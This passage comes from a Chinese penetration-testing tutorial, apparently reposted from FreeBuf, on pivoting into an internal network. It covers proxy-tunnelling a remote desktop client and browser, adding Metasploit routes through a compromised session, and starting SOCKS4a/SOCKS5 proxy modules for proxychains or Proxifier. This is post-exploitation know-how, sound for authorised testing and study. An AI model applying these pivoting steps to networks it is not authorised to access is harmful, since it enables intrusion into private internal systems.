添加好后点击右下角“保存”。回到主界面,点击那个“闪电”形状的按钮,测试代理服务器能否正常连接

img

正常连接后,右击远程桌面程序,选择“在代理隧道中运行选中程序”,就可以访问内网远程机器了

img

同样的方法,我们也可以用浏览器来访问内网的资源,比如我们访问内网服务器192.168.52.128上面的资源:

img

Metasploit搭建Socks代理服务

在使用metasploit代理模块之前,我们需要先添加路由,让MSF能到达目标机器内网。:

1
2
3
run get_local_subnets    # 获取目标内网相关信息
route add 192.168.52.0 255.255.255.0 1 # 在session 1中添加到达192.168.52.0网段的路由
route print #打印路由信息

添加完路由之后,我们便可以通过以下几个模块搭建socks反向代理了

搭建Socks4a代理

1
2
3
4
use auxiliary/server/socks4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

执行后,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。

搭建Socks5代理

1
2
3
4
5
6
7
#使用socks5代理
use auxiliary/server/socks5
set SRVHOST 0.0.0.0
set SRVPORT 1080
set USERNAME root
set PASSWORD Password@
run

socks5可以设置用户名和密码。执行后,就可以成功创建一个socks5代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。

使用metasploit这里运行代理后,有时候MSF不会监听端口,有可能是个bug,试了好多次都有这种情况,所以也就经常导致代理失败。

使用socks_proxy模块搭建socks代理

在metasploit 6中,上面两个模块已经不再支持了,将被移除metasploit,取而代之的是 auxiliary/server/socks_proxy 模块:

image-20210202215139311

其使用方法十分简单:

1
2
3
4
5
use auxiliary/server/socks_proxy
set VERSION 5 // 使用socks5代理, 如果将VERSION设为4, 则使用socks4a代理
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

用户也可以选择设置用户名和密码。执行后,就可以成功创建一个socks5或socks4a代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。

img

转自我的Freebuf:https://www.freebuf.com/articles/network/242015.html

本文作者:MrAnonymous, 属于FreeBuf原创奖励计划,未经许可禁止转载